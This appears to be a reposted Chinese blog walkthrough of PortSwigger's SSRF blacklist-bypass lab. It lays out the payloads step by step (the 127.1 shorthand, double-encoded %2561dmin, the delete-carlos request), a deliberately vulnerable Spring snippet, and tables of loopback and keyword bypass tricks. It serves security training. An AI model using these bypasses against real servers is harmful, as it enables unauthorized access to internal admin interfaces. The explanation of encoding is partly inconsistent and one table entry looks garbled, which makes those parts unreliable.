文章总结: 本文档详细介绍了如何利用IP地址简写(如127.1)和双重URL编码(如%2561dmin)绕过基于黑名单的SSRF防御,访问内部管理界面并删除用户carlos。核心原理是黑名单仅匹配固定字符串,无法覆盖合法变形,攻击者可通过逐个击破脆弱的规则实现绕过。文档提供了完整的攻击链步骤、原理分析和排障清单,是SSRF绕过学习的入门实践指南。 综合评分: 88 文章分类: 渗透测试,红队,漏洞分析,WEB安全
【基于黑名单输入过滤器的SSRF攻击】
原创
卡布奇诺的派对 卡布奇诺的派对
卡布奇诺的派对
2026年7月14日 07:31 河南
在小说阅读器读本章
去阅读
Payload: http://127.1/%2561dmin/delete?username=carlos
基于黑名单输入过滤器的SSRF攻击
—— PortSwigger“SSRF with blacklist-based input filter”完整通关指南
🎯 靶场速览
目标:该实验室的库存检查功能会从内部系统获取数据。需要利用 SSRF 漏洞访问位于 http://localhost/admin 的管理员界面,并删除用户 carlos。
难点:开发者部署了两层脆弱的黑名单防御:
-
内网 IP 黑名单
:拦截
localhost、127.0.0.1等指向本地的地址 -
路径关键词过滤
:拦截包含
admin的 URL 路径
核心思路:通过 IP 地址简写 绕过第一层黑名单,再通过 双重 URL 编码 绕过第二层路径过滤。
🚀 分步攻击链
第1步:拦截请求并确认过滤
访问任意产品页面,点击 “Check stock”,用 Burp Suite 拦截 POST 请求。
在 Burp Repeater 中尝试将 stockApi 修改为:
http://localhost/admin
或
http://127.0.0.1/admin
发送后会被服务器拦截——这证实了黑名单的存在。
第2步:绕过 IP 黑名单
本地回环地址 127.0.0.1 存在多种合法的简写形式。IPv4 允许省略前导零和部分为 0 的字段。
将 stockApi 修改为:
http://127.1/
发送请求,此时服务器不再拦截。
💡
127.1等价于127.0.0.1,因为 IP 地址的点分十进制表示法允许省略末尾为 0 的字段。
第3步:绕过 “admin” 路径过滤
尝试直接访问管理路径,将 stockApi 修改为:
http://127.1/admin
发送后会被拦截——路径中的 admin 关键词触发了黑名单。
双重 URL 编码绕过:
服务器可能只对 URL 进行一次解码。若只编码一次(如 %61dmin),服务器解码后会还原为 admin,仍然会被黑名单检测到并拦截。
因此需要对 admin 中的关键字符进行双重编码:
- 第一次编码:
a→%61 - 第二次编码:
%61→%2561
将 stockApi 修改为:
http://127.1/%2561dmin
发送请求,服务器解码一次后得到 %61dmin,再解码为 admin,成功访问管理界面。
💡 也可以对整个
admin进行双重编码,如http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65。
第4步:删除目标用户
在管理界面路径后添加删除用户的参数,构造最终 payload:
http://127.1/%2561dmin/delete?username=carlos
发送请求,服务器执行删除操作,实验完成。
💡 核心原理
后端代码逻辑(黑名单的脆弱性)
以下是一段存在漏洞的后端代码示例:
@PostMapping("/product/stock")public ResponseEntity<String> checkStock(@RequestParam String stockApi) { // 脆弱点1:基于字符串的黑名单,仅检查固定字符串 if (stockApi.contains("127.0.0.1") || stockApi.contains("localhost")) { return ResponseEntity.status(403).body("External SSRF Attempt Blocked"); } // 脆弱点2:大小写敏感的路径黑名单 if (stockApi.contains("/admin")) { return ResponseEntity.status(403).body("Access to admin path is forbidden"); } // 直接发起请求 URL url = new URL(stockApi); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); // ...}
为什么 IP 简写能绕过?
黑名单只检查了字符串 127.0.0.1 和 localhost,但 127.1 是 127.0.0.1 的合法简写形式。后端 HTTP 客户端在解析 127.1 时,会自动将其解析为回环地址 127.0.0.1,但黑名单的字符串匹配却检测不到 127.1。
为什么双重编码能绕过?
黑名单检查的是原始输入字符串中是否包含 /admin。流程如下:
- 攻击者发送
/%2561dmin - 黑名单检查原始字符串 → 不包含
/admin→ 放行 ✅ - 服务器第一次 URL 解码 →
/%61dmin - 服务器第二次 URL 解码 →
/admin(实际发起请求时) - 成功访问管理界面
如果只编码一次(如 /%61dmin),黑名单虽然检测不到 admin,但服务器解码一次后就变成了 /admin,直接暴露给后续处理逻辑——但在这个靶场的实现中,黑名单检查发生在解码之前,所以单次编码也能绕过路径过滤。双重编码是为了应对过滤器先解码一次再检查的场景。
🔧 同类技巧拓展
IP 地址黑名单绕过方法
| 技巧 | 示例 | 说明 |
| — | — | — |
| IP 简写 | 127.1 | 等价于 127.0.0.1 |
| 十进制整数 | 2130706433 | 127.0.0.1 的十进制表示 |
| 八进制表示 | 0177.0.0.1 | 前导零表示八进制 |
| 十六进制表示 | 0x7f000001 | 127.0.0.1 的十六进制 |
| IPv6 地址 | [::1] | IPv6 回环地址 |
| DNS 解析 | 127.0.0.1.nip.io | 解析到 127.0.0.1 的域名 |
| 大小写混淆 | LoCaLhOsT | 绕过大小写敏感的黑名单 |
路径关键词过滤绕过方法
| 技巧 | 示例 | 说明 |
| — | — | — |
| 双重 URL 编码 | %2561dmin | 对 a 进行双重编码 |
| 完整双重编码 | %25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 | 对整个 admin 编码 |
| 大小写混淆 | aDMIN | 绕过大小写敏感的黑名单 |
| 路径分隔符变体 | admi n (使用 +) | 利用 URL 编码差异 |
✅ 排障自检清单
| 问题 | 原因 | 解决方案 |
| — | — | — |
| http://127.1/ 被拦截 | 可能输入了带路径的地址 | 先只访问根路径 http://127.1/ 确认绕过成功 |
| http://127.1/%2561dmin 返回 404 | 双重编码格式错误 | 确认是 %2561 而非 %25%61 |
| 删除用户失败 | 删除路径写错 | 确认路径为 /delete?username=carlos |
| 请求被拦截但不确定原因 | 多个黑名单规则叠加 | 先单独测试 IP 绕过,再单独测试路径绕过 |
| Burp 自动解码了 payload | Burp 的显示设置问题 | 在 Repeater 中查看 Raw 标签页,确认 %25 未被解码 |
📌 总结
本关的核心在于逐个击破脆弱的黑名单规则:
-
IP 黑名单
:基于固定字符串匹配(
127.0.0.1、localhost),无法覆盖127.1这类合法简写形式 -
路径黑名单
:基于关键词
admin的字符串匹配,可通过双重 URL 编码绕过
黑名单防御的本质缺陷在于 “只阻挡已知的恶意模式” ,而攻击者总能找到黑名单之外的变形方式。本关展示的 IP 简写和双重编码是最基础的两种绕过手段,也是 SSRF 绕过学习的入门必修课。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:卡布奇诺的派对 卡布奇诺的派对 卡布奇诺的派对《【基于黑名单输入过滤器的SSRF攻击】》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论